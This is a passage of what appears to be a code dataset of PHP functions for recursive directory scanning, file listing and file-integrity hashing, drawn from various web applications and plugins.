(empty($subdir) ? '' : '/') . $fn;\n $children = $this->scanDir($cfg);\n if (count($children)) {\n $ret = array_merge($ret, $children);\n \n }\n continue;\n \n }\n \n if (!preg_match($cfg['match'], $fn) || !is_file($fullpath)) {\n continue;\n }\n \n \n \n $ret[] = $subdir . (empty($subdir) ? '' : '/'). $fn; /// this used to be strtolower?? why???\n\n \n \n }\n// print_r($ret);\n \n return $ret;\n \n \n \n \n }", "function _generateFilesList() {\n return array();\n }", "function experiments_index()\n{\n $text = '<ul>';\n\n foreach( scandir('content/experiments/') as $file )\n {\n if( $file !== '.' && $file !== '..' )\n if( is_dir('content/experiments/'.$file) )\n\t{\n\t $text .= '<li>';\n\t $text .= '<a href=\"/experiments/'.$file.'\">'.$file.'</a>';\n\t $text .= '</li>';\n\t}\n }\n\n $text .= '</ul>';\n\n global $page;\n $page['posts'][]= array('text'=>$text);\n}", "private function createFolderIndex(){\n //Just testing the command\n //$this->info('Starting to search the folder: '.$this->file_storage);\n $this->folders = array();\n $this->invalid_files = array();\n $this->count = 0;\n\n //Tagging all files to be able to find removed files at the end\n $SQL = \"UPDATE files SET found = '0'\";\n DB::connection('mysql')->update($SQL);\n $SQL = \"UPDATE folders SET found = '0'\";\n DB::connection('mysql')->update($SQL);\n\n //Checking if cache file exist, if not just create all the index on ES\n $this->checkCacheFolder();\n //Loop through the directories to get files ad folders\n $this->listFolderFiles($this->file_storage);//$_ENV['EBT_FILE_STORAGE']);\n //Check if any folder is missing from cache and try to create on ES\n $this->compareCacheFolders();\n\n //Remove files/folders that hasn't been found\n //if ($this->confirm('Do you wish to remove missing files? [y|N]')) {\n $this->removeMissingFiles();\n //}\n }", "public function directoryWithFilesDataProvider(): array\n {\n $multiMap = ['OtherFile' => 'other_file.json', 'JSONFile' => 'j_s_o_n_file.json'];\n $multiDirMap = ['FileFirst' => 'first/file_first.exe', 'FileSecond' => 'first/file_second.exe'];\n $multiDirMap['FileThird'] = 'second/file_third.exe';\n $multiDirMap['SomeExt'] = 'some_ext.exe';\n $singleLoadData = ['OneFile' => ['param1' => 'some_value']];\n $multiLoadData = ['OtherFile' => ['param2' => 'other_value'], 'JSONFile' => ['param3' => 'last_value']];\n $multiDirLoadData = ['FileFirst' => ['param4' => 'no_value'], 'FileSecond' => ['param5' => 'ext_value']];\n $multiDirLoadData['FileThird'] = ['param6' => 'this_value'];\n $multiDirLoadData['SomeExt'] = ['param7' => 'that_value'];\n\n return [\n 'single file' => ['single', '/^.*\\..*$/', ['OneFile' => 'one_file.json'], $singleLoadData],\n 'multiple files with mask' => ['multi', '/^.*\\.json$/', $multiMap, $multiLoadData],\n 'multiple directories' => ['container', '/^.*\\.exe$/', $multiDirMap, $multiDirLoadData],\n ];\n }", "function files_management($inputFile, $files){\n \n if($inputFile == \"./\"){\n $inputFile = \".\";\n } \n rtrim($inputFile, '\\\\/'); //odstranenie prebytocneho lomitka na konci \n $tmp_files = array();\n \n if(is_file($inputFile)){ //je to citatelny subor s priponou h\n if(is_readable($inputFile)){\n if(pathinfo($inputFile, PATHINFO_EXTENSION) == 'h'){\n array_push($files, $inputFile); //pridame ho do pola\n } \n }\n }\n elseif(is_dir($inputFile)){ //jedna sa o adresar\n $tmp_files = scandir($inputFile); //nacitame si vsetky subory v adresari\n foreach($tmp_files as $tmp){\n if($tmp != \".\" && $tmp != \"..\"){ //vynechame aktualny a nadradeny adresar\n if(is_dir($inputFile.'/'.$tmp.'/')){ //rekurzivne zanorenie v pripade, ze tu mame dalsi adresar\n if(is_readable($inputFile.'/'.$tmp)){\n files_management($inputFile.'/'.$tmp.'/', $files);\n }\n else{ //v adresari nemame pravo na citanie => chyba\n fprintf(STDERR, \"Adresar nie je mozne prehladavat.\");\n exit(2); \n } \n }\n elseif(is_file($inputFile.'/'.$tmp)){ //citatelny hlavickovy subor pridame do pola\n if(is_readable($inputFile.'/'.$tmp)){\n if(pathinfo($inputFile.'/'.$tmp, PATHINFO_EXTENSION) == 'h'){\n array_push($files, $inputFile.'/'.$tmp);\n }\n }\n }\n else{\n fprintf(STDERR, \"Zadana cesta nie je ani subor, ani adresar.\");\n exit(2);\n }\n }\n } \n \n \n }\n else{\n fprintf(STDERR, \"Zadana cesta nie je ani subor, ani adresar.\");\n exit(2);\n } \n \n return $files;\n}", "function scanfiles( $path = '' ) {\n\t\t\t\n\t\t\tglobal $bwpsoptions;\n\t\t\t\n\t\t\t$tz = get_option( 'gmt_offset' ) * 60 * 60;\n\n $data = array();\n\n\t\t\tif ( $dirHandle = @opendir( ABSPATH . $path ) ) { //get the directory\n\t\t\t\n\t\t\t\twhile ( ( $item = readdir( $dirHandle ) ) !== false ) { // loop through dirs\n\t\t\t\t\t\n\t\t\t\t\tif ( $item != '.' && $item != '..' ) { //don't scan parent/etc\n\n\t\t\t\t\t\t$relname = $path . $item;\n \n\t\t\t\t\t\t$absname = ABSPATH . $relname;\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ( $this->checkFile( $relname ) == true ) { //make sure the user wants this file scanned\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tif ( filetype( $absname ) == 'dir' ) { //if directory scan it\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$data = array_merge( $data, $this->scanfiles( $relname . '/' ) );\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t} else { //is file so add to array\n\n\t\t\t\t\t\t\t\t$data[$relname] = array();\n\t\t\t\t\t\t\t\t$data[$relname]['mod_date'] = @filemtime( $absname ) + $tz;\n\t\t\t\t\t\t\t\t$data[$relname]['hash'] = @md5_file( $absname );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t} \n\t\t\t\t\n\t\t\t\t@closedir( $dirHandle ); //close the directory we're working with\n \n\t\t\t} \n\t\t\t\n\t\t\treturn $data; // return the files we found in this dir\n\t\t\t\n\t\t}", "public function scanIniDir($dir) {\n\n //prevent ../../../ attach\n $full_data_dir = realpath($this->configuration['base_ini_dir']);\n $full_dir_unsafe = realpath($full_data_dir . '/' . $dir);\n $full_dir = $full_data_dir . str_replace($full_data_dir, '', $full_dir_unsafe);\n\n $a_out = array();\n if (!is_dir($full_dir_unsafe)) {\n die(\"pqz.class.php: Directory $dir Not Found / full dir $full_dir\");\n }\n\n $scanned_directory = array_diff(scandir($full_dir), array('..', '.'));\n $index = 0;\n foreach ($scanned_directory as $entry) {\n\n if (is_dir(\"$full_dir/$entry\")) {\n $a_out[$index]['type'] = \"dir\";\n $a_out[$index]['path'] = $dir . $entry . '/';\n $a_out[$index]['name'] = $entry;\n $index ++;\n } else {\n // is a file\n\n $filename = $full_dir . '/' . $entry;\n\n $file_parts = pathinfo($filename);\n if (strtolower($file_parts['extension']) == 'ini') {\n \n } else {\n if ($this->debug) {\n echo \"$filename NOT an ini file\";\n }\n }\n $ini_array = parse_ini_file($filename);\n\n if (isset($ini_array['title'])) {\n $a_out[$index] = $ini_array;\n $a_out[$index]['type'] = \"file\";\n $a_out[$index]['path'] = $dir . $entry;\n $a_out[$index]['name'] = $entry;\n $index ++;\n }\n }\n }\n\n // --- sort the multidimensional array ---\n // Obtain a list of columns\n foreach ($a_out as $key => $row) {\n $type[$key] = $row['type'];\n $name[$key] = $row['name'];\n $path[$key] = $row['path'];\n }\n\n// Sort the data with volume descending, edition ascending\n// Add $data as the last parameter, to sort by the common key\n array_multisort($type, SORT_ASC, $name, SORT_ASC, $path, SORT_ASC, $a_out);\n\n return $a_out;\n }", "function _fillFiles()\n\t{\n\t\t// directory from which we import (real path)\n\t\t$importDirectory = ereg_replace(\n\t\t\t\t\"^(.*)/$\", \n\t\t\t\t'\\1', \n\t\t\t\tereg_replace(\"^(.*)/$\", '\\1', $_SERVER[\"DOCUMENT_ROOT\"]) . $this->from);\n\t\t\n\t\t// when running on windows we have to change slashes to backslashes\n\t\tif (runAtWin()) {\n\t\t\t$importDirectory = str_replace(\"/\", \"\\\\\", $importDirectory);\n\t\t}\n\t\t$this->_files = array();\n\t\t$this->_depth = 0;\n\t\t$this->_postProcess = array();\n\t\t$this->_fillDirectories($importDirectory);\n\t\t// sort it so that webEdition files are at the end (that templates know about css and js files)\n\t\t\n\n\t\t$tmp = array();\n\t\tforeach ($this->_files as $e) {\n\t\t\tif ($e[\"contentType\"] == \"folder\") {\n\t\t\t\tarray_push($tmp, $e);\n\t\t\t}\n\t\t}\n\t\tforeach ($this->_files as $e) {\n\t\t\tif ($e[\"contentType\"] != \"folder\" && $e[\"contentType\"] != \"text/webedition\") {\n\t\t\t\tarray_push($tmp, $e);\n\t\t\t}\n\t\t}\n\t\tforeach ($this->_files as $e) {\n\t\t\tif ($e[\"contentType\"] == \"text/webedition\") {\n\t\t\t\tarray_push($tmp, $e);\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->_files = $tmp;\n\t\t\n\t\tforeach ($this->_postProcess as $e) {\n\t\t\tarray_push($this->_files, $e);\n\t\t}\n\t}", "function read_dir($path,$type) {\n\t $dir_array=array();\n $handle = opendir($path);\n\n $array_indx = 0;\n\n while (false != ($file = readdir($handle))) {\n\n \t\t//show only ELT files\n\t\t\tif ($type == \"elt\") {\n \t\t\tif (strstr($file, \".elt\") == \".elt\" ) {\n\t\t\t\t\t$dir_array[$array_indx] = $file;\n\t\t\t\t\t$array_indx ++;\n\t \t\t}\n\t\t\t} elseif ($type == \"dir\") {\n\t\t\t\tif (is_dir($file) && $file != \".\") {\n\t\t\t\t\t$dir_array[$array_indx] = $file;\n\t\t\t\t\t$array_indx ++;\n\t\t\t\t}\n\t\t\t}\n }\n\tif (!empty($dir_array)) {\n\t\tarray_multisort($dir_array);\n\t\t}\n\treturn $dir_array;\n}", "function file_open(){\n //$file_pointer = array();\n $read_file = array();\n $num_file = 0;\n $dir = \"/var/www/html/src/files/*\";\n foreach(glob($dir) as $file) {\n $read_file[$num_file++] = file_get_contents($file);\n }\n\n $write_file = fopen(\"/var/www/html/src/vlab/main.php\", \"w\") or die(\"Unable to open file!\");\n\n return array($read_file, $write_file);\n}", "function _get_templates()\n\t{\n\t\t$location = FILESYSTEM_PATH .'modules/customcats/templates/cattemplates/';\n\t\t$filelist=array();\n\t\tif ($handle = opendir($location))\n\t\t{\n\t\t\twhile (false !== ($file = readdir($handle)))\n\t\t\t{\n\t\t\t\tif ($file != \".\" && $file != \"..\" && $file!=\".svn\" && $file!=\"index.htm\")\n\t\t\t\t{\n\t\t\t\t\t$filelist[]=$file;\n\t\t\t\t}\n\t\t\t}\n \t\t\tclosedir($handle);\n\t\t}\n\t\treturn $filelist;\n\t}", "function getFiles(){\r\n\r\n global $dirPtr, $theFiles;\r\n \r\n chdir(\".\");\r\n $dirPtr = openDir(\".\");\r\n $currentFile = readDir($dirPtr);\r\n while ($currentFile !== false){\r\n $theFiles[] = $currentFile;\r\n $currentFile = readDir($dirPtr);\r\n } // end while\r\n \r\n}", "protected function auto_register_files()\r\n\t\t{\r\n\t\t\t// initialize variables\r\n\t\t\t$level = 0;\r\n\t\t\t\r\n\t\t\t// look through each director\r\n\t\t\tforeach( $this->paths as $i => $path )\r\n\t\t\t{\r\n\t\t\t\t// initialize variables\r\n\t\t\t\t$j \t\t= $level + 1001;\r\n\t\t\t\t$files \t= glob( \"{$path}*\" . self::REAL_EXT );\r\n\t\t\t\t$len \t= strlen( self::REAL_EXT );\r\n\t\t\t\t\r\n\t\t\t\tforeach( $files as $f )\r\n\t\t\t\t{\r\n\t\t\t\t\t// determine handle\r\n\t\t\t\t\t$file_name \t= substr( $f, 0, strlen( $f ) - $len );\r\n\t\t\t\t\t\r\n\t\t\t\t\tif ( strpos( $file_name, $this->local ) !== false )\r\n\t\t\t\t\t\t$file_name = substr( $file_name, strlen( $this->local ) );\r\n\t\t\t\t\t\r\n\t\t\t\t\t$handle \t= $i == self::ROOT_PATH ? strtoupper( self::ROOT_PATH ) . \"_\" : \"\";\r\n\t\t\t\t\t$handle \t.= preg_replace( \"/[^\\w]/\", \"_\", strtoupper( $file_name ) );\r\n\t\t\t\t\tdefine( $handle, $handle );\r\n\t\t\t\t\t/* The old page id number define( $handle . '_PAGEID', $j );*/\r\n\t\t\t\t\t\r\n\t\t\t\t\t// get rid of system directories\r\n\t\t\t\t\tif ( strpos( $file_name, $this->local ) !== false )\r\n\t\t\t\t\t\t$file_name = substr( $file_name, strlen( $this->local ) );\r\n\t\t\t\t\t\r\n\t\t\t\t\t// define properties\r\n\t\t\t\t\t$this->files[ $handle ] = $file_name;\r\n\t\t\t\t\t$this->urls[ $handle ] = $this->url . str_replace( \"\\\\\", \"/\", $file_name );\r\n\t\t\t\t\t$j++;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t// increment for next path\r\n\t\t\t\t$level += 1000;\r\n\t\t\t\t$j = 1;\r\n\t\t\t}\r\n\t\t}", "function getPageFiles() {\n $directory = \"\";\n $pages = glob($directory . \"*.php\");\n //print each file name\n foreach ($pages as $page) {\n $row[$page] = $page;\n }\n return $row;\n}", "function listFiles ($dir)\n{\n global $filetype1, $PHP_SELF;\n if ($dir)\n { \n $file_extension = '.php';\n $d = dir($dir);\n while ($file = $d->read()){ \n $file_array[$file]=$file;\n foreach ( $file_array as $file){\n while (false !== ($entry = $d->read())) {\n // echo $entry.\"<br> \\n\";\n // echo substr($entry, strrpos($entry, '.'));\n if (substr($entry, strrpos($entry, '.')) == $file_extension){\n echo '<tr><td class=\"smallText\">' . ' <a href=\"' . tep_href_link(FILENAME_EDIT_TEXT, '&action=edit&filename=' . $entry) . '\" title=\"' . $entry . '\">' . ($entry) . '</a></td></tr>' . \"\\n\";\n }\n }\n } \n }\n $d->close();\n }\n}", "function getPageFiles() {\n\t$directory = \"../\";\n\t$pages = glob($directory . \"*.php\");\n\tforeach ($pages as $page){\n\t\t$fixed = str_replace('../','/'.$us_url_root,$page);\n\t\t$row[$fixed] = $fixed;\n\t}\n\treturn $row;\n}", "function open_and_scan($SCAN_DIRECTORY,$prev_files){\n\tglobal $files,$exempt_files,$prev_files,$exempt_directory;\n\t$changed_files = '';\n\t$file_details = stat($SCAN_DIRECTORY);\n\t$dt = array();\n\tforeach($file_details as $key=>$info){\n\t\t$dt[$key] = $info;\n\t}\n\t$data = array(\n\t\t'file'=>$SCAN_DIRECTORY,\n\t\t'info'=>$dt\n\t);\n\tarray_push($files,$data);\n\t$changed_files .= get_prev_stats($SCAN_DIRECTORY,$prev_files);\n\t\t\t\t\t\n\t$handle = opendir($SCAN_DIRECTORY);\n\twhile($f = readdir($handle)){\n\t\tif($f != '.' && $f != '..'){\n\t\t\tif(!is_dir($SCAN_DIRECTORY.$f)){\n\t\t\t\t$file_array = explode('.',$f);\n\t\t\t\t$count = count($file_array);\n\t\t\t\t$extension = $file_array[$count-1];\n\t\t\t\tif($count > 1 && !in_array($extension,$exempt_files)){\n\t\t\t\t\t$file_details = stat($SCAN_DIRECTORY.$f);\n\t\t\t\t\t$dt = array();\n\t\t\t\t\tforeach($file_details as $key=>$info){\n\t\t\t\t\t\t$dt[$key] = $info;\n\t\t\t\t\t}\n\t\t\t\t\t$data = array(\n\t\t\t\t\t\t'file'=>$SCAN_DIRECTORY.$f,\n\t\t\t\t\t\t'info'=>$dt\n\t\t\t\t\t);\n\t\t\t\t\tarray_push($files,$data);\n\t\t\t\t\t$changed_files .= get_prev_stats($SCAN_DIRECTORY.$f,$prev_files);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif(!in_array($f,$exempt_directory)){\n\t\t\t\t\topen_and_scan($SCAN_DIRECTORY.$f.'/',$prev_files);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn array(\n\t\t'changed'=>$changed_files,\n\t\t'files'=>$files\n\t);\n}", "function pageList(){\n\t\t$path = ROOT . DS . 'pages';\n\t\t$pagesArray = array_diff(scandir($path), array('..', '.', '.svn','.htaccess'));\n\n\t\tforeach ($pagesArray as $page) {\n\t\t\t$tmp[basename($page)] = filemtime($page);\n\t\t}\n\t\tasort($tmp);\n\t\t$pagesArray = array_keys($tmp);\n\n\t\t// sorting by date can be added but name wise listing pages seems more pleasing.\n\t\t// later add extra sort-by-date option.\n\t\treturn $pagesArray;\n\t}", "function get_files($instructor=False, $sources=array('class', 'lab', 'project', 'exam', 'review', 'capstone', 'continued-lab'), $file_path = '.', $access=array(), $virtual=array(), $categories=array(), $secret='really') {\n $results = array();\n $basedir = scandir($file_path);\n foreach ($sources as $i => $l0) {\n if (in_array($l0, $basedir) && is_dir($file_path . '/' . $l0)) {\n $level1 = scandir($file_path . '/' . $l0);\n sort($level1);\n foreach ($level1 as $i => $l1) {\n if (substr($l1, 0, 1) != '.' && is_dir($file_path . '/' . $l0 . '/' . $l1)) {\n // The following code allows the system recursively look through the Directory\n // structure within a class, and the system can now process RELATIVE links\n // that go into those subordinate directories\n $level2 = array();\n try {\n $Iterator = new RecursiveIteratorIterator(\n new RecursiveDirectoryIterator($file_path . '/' . $l0 . '/' . $l1),\n RecursiveIteratorIterator::LEAVES_ONLY,\n RecursiveIteratorIterator::CATCH_GET_CHILD);\n foreach($Iterator as $name => $object) {\n $name = explode(\"/\", $name);\n unset($name[2]);\n unset($name[1]);\n unset($name[0]);\n $name = implode(\"/\", $name);\n $level2[] = $name;\n }\n } catch (Exception $e) {\n // Unable to recurse, so don't bother...\n }\n //$level2 = scandir($file_path . '/' . $l0 . '/' . $l1);\n $results[$l0][$l1] = array();\n sort($level2);\n foreach ($level2 as $i => $l2) {\n $key = sha1($secret.$l0.$l1.$l2);\n if (substr($l2, 0, 1) != '.' && validate_file($instructor, $l2, $file_path . '/' . $l0 . '/' . $l1 . '/' . $l2, $access)[0]) {\n if (is_link($file_path . '/' . $l0 . '/' . $l1 . '/' . $l2)) {\n if (validate_file($instructor, readlink($file_path . '/' . $l0 . '/' . $l1 . '/' . $l2), readlink($file_path . '/' . $l0 . '/' . $l1 . '/' . $l2), $access)[0]) {\n $vf = validate_file($instructor, readlink($file_path . '/' . $l0 . '/' . $l1 . '/' . $l2), readlink($file_path . '/' . $l0 . '/' . $l1 . '/' . $l2), $access);\n $category = categorize_file($instructor, $l2, readlink($file_path . '/' . $l0 . '/' . $l1 . '/' . $l2), $vf[5], $categories);\n $results[$l0][$l1][$l2] = array('actual' => $file_path . '/' . $l0 . '/' . $l1 . '/' . readlink($file_path . '/' . $l0 . '/' . $l1 . '/' . $l2),\n 'visible' => $vf[1],\n 'year' => $vf[2],\n 'month' => $vf[3],\n 'day' => $vf[4],\n 'type' => $category[0],\n 'category' => $category[1],\n 'key' => $key);\n }\n } else {\n $vf = validate_file($instructor, $l2, $file_path . '/' . $l0 . '/' . $l1 . '/' . $l2, $access);\n $category = categorize_file($instructor, $l2, $file_path . '/' . $l0 . '/' . $l1 . '/' . $l2, $vf[5], $categories);\n $results[$l0][$l1][$l2] = array('actual' => $file_path . '/' . $l0 . '/' . $l1 . '/' . $l2,\n 'visible' => $vf[1],\n 'year' => $vf[2],\n 'month' => $vf[3],\n 'day' => $vf[4],\n 'type' => $category[0],\n 'category' => $category[1],\n 'key' => $key);\n }\n }\n }\n }\n }\n }\n }\n # Add Virtual files, format like array('class'=>array(1 => array(array('answers.html', 'homework/answers05.html'))))\n foreach ($virtual as $l0 => $l1array) {\n if (isset($results[$l0])) {\n $classes = array_keys($results[$l0]);\n foreach ($l1array as $day => $l2array) {\n if (isset($classes[$day-1])) {\n foreach ($l2array as $i => $values) {\n $virt_file = $values[0];\n $real_file = $values[1];\n if (validate_file($instructor, $real_file, $real_file, $access)[0]) {\n $key = sha1($secret.$real_file.$virt_file);\n $vf = validate_file($instructor, $real_file, $real_file, $access);\n $category = categorize_file($instructor, $virt_file, $real_file, $vf[5], $categories);\n $results[$l0][$classes[$day-1]][$virt_file] = array('actual' => $real_file,\n 'visible' => $vf[1],\n 'year' => $vf[2],\n 'month' => $vf[3],\n 'day' => $vf[4],\n 'type' => $category[0],\n 'category' => $category[1],\n 'key' => $key);\n }\n }\n }\n }\n }\n }\n #####################################################\n # Verify that the class is not blocked by security...\n $today = getdate();\n foreach ($results as $l0 => $classes) {\n $counter = 1;\n foreach ($classes as $l1 => $data) {\n foreach ($data as $filename => $fdata) {\n if ($fdata['year'] == 1 && $fdata['month'] == 1 && $fdata['day'] == 1) {\n $cate = $fdata['category'];\n if (isset($access[$l0.\"_\".$counter]) && $cate == 'title') {\n $sspec = $l0.\"_\".$counter;\n $results[$l0][$l1][$filename]['month'] = $access[$sspec]['month'];\n $results[$l0][$l1][$filename]['day'] = $access[$sspec]['day'];\n if (($today['mon'] > $access[$sspec]['month']) || ($today['mon'] == $access[$sspec]['month'] && $today['mday'] >= $access[$sspec]['day'])) {\n } else {\n $results[$l0][$l1][$filename]['visible'] = False;\n if (!$instructor) {\n unset($results[$l0][$l1][$filename]);\n }\n }\n } elseif (isset($access[$l0.\"_\".$counter.\"/\".$cate])) {\n $sspec = $l0.\"_\".$counter.\"/\".$cate;\n $results[$l0][$l1][$filename]['month'] = $access[$sspec]['month'];\n $results[$l0][$l1][$filename]['day'] = $access[$sspec]['day'];\n if (($today['mon'] > $access[$sspec]['month']) || ($today['mon'] == $access[$sspec]['month'] && $today['mday'] >= $access[$sspec]['day'])) {\n } else {\n $results[$l0][$l1][$filename]['visible'] = False;\n if (!$instructor) {\n unset($results[$l0][$l1][$filename]);\n }\n }\n } elseif (isset($access[$l0.\"_\".$counter.\"/\".$filename])) {\n $sspec = $l0.\"_\".$counter.\"/\".$filename;\n $results[$l0][$l1][$filename]['month'] = $access[$sspec]['month'];\n $results[$l0][$l1][$filename]['day'] = $access[$sspec]['day'];\n if (($today['mon'] > $access[$sspec]['month']) || ($today['mon'] == $access[$sspec]['month'] && $today['mday'] >= $access[$sspec]['day'])) {\n } else {\n $results[$l0][$l1][$filename]['visible'] = False;\n if (!$instructor) {\n unset($results[$l0][$l1][$filename]);\n }\n }\n } elseif (isset($access[$l0.\"_\".$counter.\"/all\"])) {\n $sspec = $l0.\"_\".$counter.\"/all\";\n $results[$l0][$l1][$filename]['month'] = $access[$sspec]['month'];\n $results[$l0][$l1][$filename]['day'] = $access[$sspec]['day'];\n if (($today['mon'] > $access[$sspec]['month']) || ($today['mon'] == $access[$sspec]['month'] && $today['mday'] >= $access[$sspec]['day'])) {\n } else {\n $results[$l0][$l1][$filename]['visible'] = False;\n if (!$instructor) {\n unset($results[$l0][$l1][$filename]);\n }\n }\n }\n }\n }\n $counter++;\n }\n }\n return $results;\n }", "private function read_directory(){\n $rdi = new RecursiveDirectoryIterator(ABSPATH);\n $rii = new RecursiveIteratorIterator($rdi);\n foreach($rii as $name => $obj){\n $dir_file = $obj->getRealPath(); \n\n if( strcmp(str_replace(\"\\\\\", \"/\", $dir_file),str_replace(\"\\\\\", \"/\", MD5_HASHER_DIR.$this->file_check)) <> 0 \n && strcmp(str_replace(\"\\\\\", \"/\", $dir_file), str_replace(\"\\\\\", \"/\", MD5_HASHER_DIR.$this->file_change)) <> 0){\n\n if(is_readable($dir_file)){\n $hash_key = @md5_file($dir_file);\n $this->md5_gen_output[$dir_file] = array(\n 'md5' => $hash_key,\n 'filename' => $obj->getFilename(),\n 'real_path' => $dir_file\n );\n\n $file_ext = substr(strrchr($obj->getFilename(),'.'),1);\n\n if(!isset($this->md5_gen_old[$dir_file]->md5)){\n // new file\n $this->md5_changed_output[$dir_file] = array(\n 'md5' => $hash_key,\n 'ext' => $file_ext,\n 'filename' => $obj->getFilename(),\n 'real_path' => $dir_file,\n 'modified' => 'new'\n );\n }else if($this->md5_gen_old[$dir_file]->md5 !== $this->md5_gen_output[$dir_file]['md5']){\n // modified file\n $this->md5_changed_output[$dir_file] = array(\n 'md5' => $hash_key,\n 'ext' => $file_ext,\n 'filename' => $obj->getFilename(),\n 'real_path' => $dir_file,\n 'modified' => 'edited'\n ); \n }\n }\n }\n }\n }", "function getPageFiles()\r\n{\r\n\t$directory = \"\";\r\n\t$pages = glob($directory . \"*.php\");\r\n\t//print each file name\r\n\tforeach ($pages as $page){\r\n\t\t$row[$page] = $page;\r\n\t}\r\n\treturn $row;\r\n}", "private function listFolderFiles($dir){\n $children = false;\n $isRoot = false;\n if($dir==$this->file_storage){\n $isRoot = true;\n }\n\n $folderName = $this->getFolderName($dir);\n if(!$isRoot){\n //$this->info('Directory Name: '.$folderName['child']);\n //$this->info('Parent Name: '.$folderName['parent']);\n }\n\n //$this->info('Folder: '.$dir);\n\n foreach (new \\DirectoryIterator($dir) as $fileInfo) {\n if (!$fileInfo->isDot()) {\n if ($fileInfo->isDir()) {\n $this->listFolderFiles($fileInfo->getPathname());\n }else{\n $rename = false;\n //$this->info('File: '.$fileInfo->getFilename());\n //$info = new SplFileInfo($dir.'/'.$fileInfo->getFilename());\n $ext = \".\".pathinfo($fileInfo->getFilename(), PATHINFO_EXTENSION);\n //$ext = \".\"$info->getExtension();\n //$this->info('File: extension '.$ext);\n $filebreak = str_replace($ext,\"\",$fileInfo->getFilename());\n if (strpos($filebreak, '.') !== false || strpos($filebreak, \"'\") !== false || strpos($filebreak, \"#\") !== false) {\n $rename = true;\n }\n if($rename){\n $replace = array(\".\", \"'\", \"#\", \";\", \"/\", \"?\", \":\", \"@\", \"=\", \"&\", \",\");\n //“;”, “/”, “?”, “:”, “@”, “=” and “&\n $fileraw = str_replace($replace,\" \",$filebreak);\n //$this->info('File: raw '.$fileraw);\n $newfilename = $fileraw . $ext;\n //$this->info('File: new '.$newfilename);\n $prod_filename = $newfilename;\n rename($dir.'/'.$fileInfo->getFilename(),$dir.'/'.$newfilename);\n }else{\n $prod_filename = $fileInfo->getFilename();\n }\n $this->checkFileExtension($dir.'/'.$prod_filename, $prod_filename, $dir);\n }\n $children = true;\n }else{\n $children = false;\n }\n }\n //$this->info('Children: '.$children);\n\n if(!$isRoot){\n $this->folders[$this->count]['name'] \t\t\t= $folderName['child'];\n $this->folders[$this->count]['parent'] \t\t= $folderName['parent'];\n $this->folders[$this->count]['full_path']\t= $dir;\n $this->folders[$this->count]['children']\t= $children;\n $this->count++;\n }\n //$this->info('#################');\n }", "public function filelist ($args)\n {\n if (!isset($args['startdir'])) {\n $args['startdir'] = './';\n }\n if (!isset($args['searchSubdirs']) || !is_numeric($args['searchSubdirs'])) {\n $args['searchSubdirs'] = 1;\n }\n if (!isset($args['directoriesonly']) || !is_numeric($args['directoriesonly'])) {\n $args['directoriesonly'] = 0;\n }\n if (!isset($args['maxlevel'])) {\n $args['maxlevel'] = 'all';\n }\n if (!isset($args['level']) || !is_numeric($args['level'])) {\n $args['level'] = 1;\n }\n if (!isset($args['ztemp']) || !is_numeric($args['ztemp'])) {\n $args['ztemp'] = 0;\n }\n\n if (!SecurityUtil::checkPermission('SysInfo::', '::', ACCESS_ADMIN)) {\n return LogUtil::registerPermissionError();\n }\n\n $startdir = $args['startdir'];\n $searchSubdirs = $args['searchSubdirs'];\n $directoriesonly = $args['directoriesonly'];\n $maxlevel = $args['maxlevel'];\n $level = $args['level'];\n $ztemp = $args['ztemp'];\n\n // this process could take a while....\n @set_time_limit(0);\n @ini_set('memory_limit', '128M');\n\n $ignoredDirectory[] = '.';\n $ignoredDirectory[] = '..';\n $ignoredDirectory[] = '.svn';\n $ztemp = DataUtil::formatForOS(CacheUtil::getLocalDir(),true);\n if ($ztemp == 0) {\n $ignoredDirectory[] = $ztemp;\n }\n\n global $directorylist;\n if (is_dir($startdir)) {\n if ($dh = @opendir($startdir)) {\n while (($file = readdir($dh)) !== false) {\n if (!(array_search($file,$ignoredDirectory) > -1)) {\n if (filetype($startdir . $file) == 'dir') {\n $directorylist[$startdir . $file]['dir'] = $this->__('Folder');\n $directorylist[$startdir . $file]['path'] = $startdir;\n $directorylist[$startdir . $file]['name'] = $file;\n $directorylist[$startdir . $file]['writable'] = (bool)is_writable($startdir . $file);\n if ($searchSubdirs) {\n if ((($maxlevel) == 'all') or ($maxlevel > $level)) {\n ModUtil::apiFunc('SysInfo', 'admin', 'filelist',\n array ('startdir' => $startdir . $file . '/',\n 'searchSubdirs' => $searchSubdirs,\n 'directoriesonly' => $directoriesonly,\n 'maxlevel' => $maxlevel,\n 'level' => $level + 1));\n }\n }\n } else {\n if (!$directoriesonly) {\n $directorylist[$startdir . $file]['dir'] = $this->__('File');\n $directorylist[$startdir . $file]['path'] = $startdir;\n $directorylist[$startdir . $file]['name'] = $file;\n $directorylist[$startdir . $file]['writable'] = (bool)is_writable($startdir . $file);\n }\n }\n }\n }\n closedir($dh);\n }\n }\n return($directorylist);\n }", "private function _readDirRecursiv( $path, $prefix = '', &$seen = array() ) {\n\t\t$struct = array();\n\t\tif ( ( $dir = opendir( $path ) ) !== false ) {\n\t\t\twhile( ( $file = readdir( $dir ) ) !== false ) {\n\t\t\t\t\n\t\t\t\t// ignore curent and upper dir and all hidden files\n\t\t\t\tif ( preg_match( '/^\\./', $file ) )\n\t\t\t\t\tcontinue;\n\t\t\t\t\n\t\t\t\t// get abs path\n\t\t\t\t$abs = $path . '/'. $file;\n\t\t\t\t/*print( \"READING '$abs'\\n\" );*/\n\t\t\t\t\n\t\t\t\t// seen ?\n\t\t\t\tif ( isset( $seen[ $abs ] ) )\n\t\t\t\t\tcontinue;\n\t\t\t\t$seen[ $abs ] = true;\n\t\t\t\t\n\t\t\t\t// ignore snippets folders and admin files\n\t\t\t\tif ( $abs == ZC_CONTENTS. '/snippets' || preg_match( '/^admin-/', $file ) )\n\t\t\t\t\tcontinue;\n\t\t\t\t\n\t\t\t\t// we will determine title later one\n\t\t\t\t$title_file = $abs;\n\t\t\t\t$title = 